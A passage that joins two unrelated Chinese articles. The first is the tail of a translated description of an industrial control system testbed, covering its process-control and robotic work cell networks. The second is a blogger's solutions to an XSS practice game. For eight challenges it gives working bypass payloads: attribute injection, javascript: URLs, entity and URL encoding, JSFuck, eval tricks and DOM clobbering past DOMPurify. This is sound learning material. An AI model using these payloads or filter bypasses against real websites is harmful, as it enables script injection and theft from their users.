PCS和CRS网络中都具备专用网络抓包服务器。该服务器通过两种方式抓包: 报文镜像和利用基于“线路插件”(bump-in-the-wire)技术的网络探针。要进行报文镜像,需配置网络设备(如路由器和交换机)对报文进行复制然后转发至另一端口。网络探针提供类似功能,但须通过线缆接入网络。在实验中,镜像的报文通过报文代理汇总为两种流(一种包含PCS流量,另一种包含CRS流量)。来自聚合器和网络探针的网络流量最终到达网络抓包服务器,该服务器对这些报文进行缓存、存储并随即进行处理从而计算衡量指标和关键性能指标用于实验分析。

8.1  流程型制造系统

过程控制系统模拟工业连续制造系统,实现材料连续生产和加工的制造过程。在该过程中,材料持续运动,发生化学反应或进行机械处理或热处理。从一般意义上说,连续制造指全天候(24/7)运行,基本不会因检修而停产,这与批量制造形成鲜明对比。例如,连续型制造系统可用于化工生产、炼油、天然气加工和废水处理。

过程控制系统(PCS)采取田纳西-伊斯曼挑战问题[9](真实存在的化工生产过程)作为化学反应仿真模型。该系统集成了Ricker[10]开发的控制算法用于控制模拟的化学反应。该系统采用可编程逻辑控制器(PLC)和工业网络交换机等广泛部署的工业硬件设备实现控制回路,对完整的连续型化工制造系统进行模拟。通过配置硬件在环(hardware-in-the-loop)技术,试验台可利用工业硬件设备评估制造系统的性能,并通过软件实现化工生产过程仿真。图8-2 PCS系统

8.1.1 控制系统运行

过程控制系统(PCS)中内置一款软件模拟器,用于模拟田纳西-伊斯曼化学反应过程。模拟器采用C代码编写,在基于Windows 7的计算机上执行。此外,该系统还包括可编程逻辑控制器(PLC)、通过MATLA实现的软件控制器、人机界面(HMI)、OPC(过程控制的对象链接与嵌入技术)数据访问(DA)服务器、历史数据库、工程工作站和数台虚拟局域网(VLAN)交换机和网络路由器。PCS部署在19英寸的机架系统中,如8-2图所示。

田纳西-伊斯曼工厂模拟器需要控制器实现控制回路,从而确保持续运营。Simulink中实现的分散式控制器(由Ricker [10]开发)可用作过程控制器。Ricker实现精确匹配工厂模拟器,控制器作为独立软件过程,运行在单独的计算机上,而工厂模拟器运行在另一台计算机上。

要实现工厂模拟器和控制器之间的通信,需部署提供工业网络协议能力的硬件PLC设备。采取工业协议实现工厂模拟器和PLC之间的通信。工厂模拟器将传感器信息发给控制器,控制器的算法基于传感器输入计算执行器所需的值,然后将这些值发回工厂控制器。

在工厂模拟器计算机上安装多节点DeviceNet卡。DeviceNet是自动化行业的一种通用工业协议,用于实现控制设备之间的数据交换。单个硬件设备可利用多节点卡模拟多个虚拟的DeviceNet节点。在我们的示例中,每个传感器和执行器均为专用节点。因此,该系统中配置了53个虚拟节点(包括传感器的41个虚拟节点和执行器的12个虚拟节点)。并且,开发了软件接口用于通过DeviceNet在工厂模拟器和PLC之间发送和接收传感器和执行器的值。

OPC DA服务器在Windows 7计算机上运行,充当PLC的主要数据网关。PLC与OPC DA服务器进行通信,对所有传感器和执行器的信息进行更新和检索。在PLC专业术语中,传感器和执行器的信息称为“标签”。该控制器提供MATLAB Simulink接口与OPC DA服务器直接通信。

该系统提供人机界面(HMI)和历史数据库。HMI为图形化用户界面,面向操作员或用户显示过程状态信息。历史数据库是记录所有过程传感器和执行器的信息的主数据库。HMI和历史数据库均通过内置接口与OPC DA建立连接,访问所有过程信息。

在该系统中,工程工作站用于提供工程支持,如PLC开发和控制、HMI开发和部署以及对历史数据库进行数据检索。

8.1.2  网络架构

PCS网络通过边界路由器与实验室主局域网隔离。路由器利用动态路由协议,即开放式最短路径优先(OSPF),与顶层的主路由器进行通信。网络架构如图8-3所示。

所有的网络流量均需通过边界路由器访问实验室的主局域网。

系统中存在两个虚拟网段,每个网络均由以太网交换机管理。HMI和控制器位于虚拟网络VLAN-1中,而工厂模拟器、历史数据库、OPC DA服务器和PLC位于虚拟网络VLAN-2中。

VLAN-1对中央控制室环境进行模拟。在该环境中,HMI和控制器以虚拟化的形式部署在同一网段。VLAN-2模拟由生产厂区、PLC、OPC服务器和历史数据库组成的过程运行环境。图8-3 PCS网络架构

8.2  离散型制造系统

CRS工作单元包括两个机械手臂,用于执行称为机器送料[11]的材料处理流程,如图8-4所示。这一机械化的机器送料流程利用机器人与机器进行交互,替代人类进行的手动操作(如装载和卸载机器的部件、打开和关闭机门、激活操作员控制面板的按钮等)。

图8-4 CRS工作单元准备就绪,等待操作员启动制造流程。操作员控制模板位于图的上部。

人类操作员通过人机界面(HMI)以及工作区外部的控制面板与工作单元进行交互。

工作单元需具备可重构性,支持多类作业方法、网络拓扑以及工业组网协议。这两个机器人互相配合,负责整个制造流程的部件输送。之所以部署两个机器人是因为该工作单元共有四个站,单个机器人无法同时接触这四个站。同时,部署两个机器人也提升了工作单元的效率。

8.2.1 控制系统运行

机械手臂通过四个模拟的机器操作(称为“站”)传输部件。每个站由以下装置组成: 固定装置(用于固定部件)、红外接近传感器(检测部件)、单板计算机(模拟典型加工中心的操作和通信)以及液晶显示屏(LCD,显示站的运行状态)。这些站通过工作单元的局域网与管理型PLC进行通信。管理型PLC对制造过程的方方面面进行监测和控制。PLC根据这四个加工站的制造数据确定机械装置需进行哪些必要操作(作业)才能确保部件在整个制造过程中持续正常运动。同时,PLC与HMI进行通信,便于操作员及时了解操作状态并进行管控。

工作单元由联网服务器组成的共享基础架构、评测工具和其他技术提供支持。该基础架构用于多项研究职能,如网络安全工具的测试、部署和托管、网络流量的评测和抓包系统、对触发异常网络活动的网络流量进行生成和处理以及实验数据文件存储。在实现中,同时部署了虚拟服务器基础架构为所需的多项网络安全技术和工具提供支持。

8.2.2 网络架构

如图8-5所示,CRS网络采取层级架构,将提供管理功能的设备与控制制造过程的设备进行隔离。工作单元的顶层路由器为西门子提供的RUGGEDCOM RX1510路由器,该路由器提供防火墙能力,实现基于规则的网络流量放行和限制。该路由器通过网络地址转换(NAT)连接实验室的局域网(即图8-5中的试验台局域网)。管理型局域网的二层网络流量由Netgear GS724T托管以太网交换机处理,而控制型局域网的网络流量由西门子i800托管以太网交换机处理。

路由器和网络交换机用于将收到的网络流量镜像至位于测量机架上的抓包服务器上。串联(即bump-in-the-wire)在网络中的网络探针部署在PLC、HMI和站1,专门用于将进出网络流量转发至抓包服务器。

所有的基于制造过程的网络通信均采取Modbus TCP工业网络协议,机器人控制器和机器人驱动程序之间的网络流量采取机器人操作系统(ROS)本身的TCPROS和UDPROS协议。图8-5机器人装配CRS网络

 

连载完

 

译者声明:

小蜜蜂翻译组公益译文项目,旨在分享国外先进网络安全理念、规划、框架、技术标准与实践,将网络安全战略性文档翻译为中文,为网络安全从业人员提供参考,促进国内安全组织在相关方面的思考和交流。

 

XSS Game 分析以及知识点总结

最近,正在学习XSS各种Bypass姿势,发现了某位Youtuber搭建的XSS Game平台,感觉还不错,正好用来实践XSS Bypass的技巧。在此分享给大家,如有任何问题,可留言探讨。本人也是小白一个,文章中如果出现错误,请大家指正。

题目概述

每道题目会给出XSS过滤器的实现,要求在没有用户交互的前提下弹框(alert(1337)),在Chrome下测试通过即可。话不多说,步入正文。

题目

1. Ma Spaghet

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
   spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析:本题基本上是送分题,没有任何过滤,二话不说直接干。

答案<svg onload=alert(1337)>

2. Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
   let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
   let ma = ""
   eval(`ma = "Ma name ${jeff}"`)
   setTimeout(_ => {
       maname.innerText = ma
  }, 1000)
</script>

分析:本题也没有任何过滤,解题的核心在于能让jeff这个变量里包含alert(1337)并且能够执行,同时保证ma = "Ma name ${jeff}"这个赋值语句的语法正确即可。可以选择使用-进行分割。

答案"-alert(1337)-"。对答案稍作解释,以免小白不理解。将变量jeff替换后,语句变为ma = "Ma name "-alert(1337)-""。首先,这是一个合法的表达式。JS为了进行-运算,会对每部分进行解析,在解析过程中,会执行alert(1337)

3. Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
   let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
   wey = wey.replace(/[<>]/g, '')
   uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析:从代码中可以看到,变量wey是插入到了<input>元素的属性中,同时对尖括号(<>)进行了过滤。既然无法使用尖括号对<input>标签进行闭合,那么可以尝试用双引号闭合标签内部的属性。同时,使用autofocus来自动触发onfocus事件中对应的函数,避免用户交互。

答案"onfocus=alert(1337) autofocus="

4. Ricardo Milos

<!-- Challenge -->
<form id="ricardo" method="GET">
   <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
   ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
   setTimeout(_ => {
       ricardo.submit()
  }, 2000)
</script>

分析:从代码中可以看出,用户的输入ricardo会成为表单提交的URL地址。由于没有任何过滤,可以直接使用javascript伪协议来执行弹框。

答案javascript:alert(1337)

5. Ah That’s Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
   smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
   smith = smith.replace(/[\(\`\)\\]/g, '')
   will.innerHTML = smith
</script>

分析:本题难度加大一点,过滤掉了(`)\这几个符号,显然不能直接alert(1337)进行弹框。但是过滤器并没有考虑到HTML实体编码,所以我们可以用HTML实体编码来绕过过滤。同时,因为HTML实体编码中有&,在传参到URL里时,要再经过一次URL编码

答案

<!--  无任何编码-->
<svg onload="alert(1337)">
<!-- HTML实体编码 -->
<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
<!-- URL编码,最终答案 -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6. Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析:根据代码可见,过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。

答案

// JSFuck转换后的alert(1337)
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
// 由于有特殊字符,需要经过URL编码
"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"

7. Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析:本题存在三个限制

  1. 截取长度50的字符串
  2. `'"+-!\[]被替换为_
  3. alert被替换为_

长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert字符串的检测。可以使用如下几种办法。

  1. 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
  2. 利用数字和字符串之间的互相转换,来绕过针对alert的检测。
  3. 在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。

答案

// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串,将30进制的数字8680439转换成字符串,就是alert
eval(8680439..toString(30))(1337)
// 在原始的URL后面加上 #alert(1337),然后通过下面的语句将payload取出
eval(location.hash.slice(1))

8. Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
   boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
   setTimeout(ok, 2000)
</script>

分析:本题中使用了DOMPurify这个第三方库来过滤非法字符。同时,setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串。如果我们能够向ok这个变量注入可执行的payload,那么也就能成功弹框。在此,我们可以使用DOM Clobbering的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量。

首先,要构造一个变量ok,我们可以通过创建一个id=ok的DOM元素来实现,比如<div id="ok"></div>

然后,要考虑如何构造alert(1337)这个字符串。ok需要接受一个字符串作为值,而在对<a>标签调用toString()方法时,会返回属性href的值。所以,我们可以选择<a>标签作为构造对象。href的值要遵守protocol:uri的格式。然而,在href里直接使用javascript:协议是不行的。通过查看DOMPurify源码可以发现,它支持的合法的协议有mailto, tel, xmpp等等,随便选择一个即可。

答案<a id=ok href=tel:alert(1337)> 

关于DOM Clobbering的讲解,可以参考这篇文章

总结

通过这次的XSS Game,学习到了以下几点常用技巧:

  1. -能够用来闭合HTML标签内部属性。
  2. onfocusautofocus配合自动触发payload执行。
  3. javascript:伪协议执行payload。
  4. HTML实体编码+URL编码绕过某些特殊符号过滤。
  5. JSFuck混淆代码。
  6. 数字转字符串和构造匿名函数绕过对某些特定字符串(比如alert)的检查。
  7. DOM Clobbering,通过注入HTML元素,实现对JavaScript变量的赋值操作。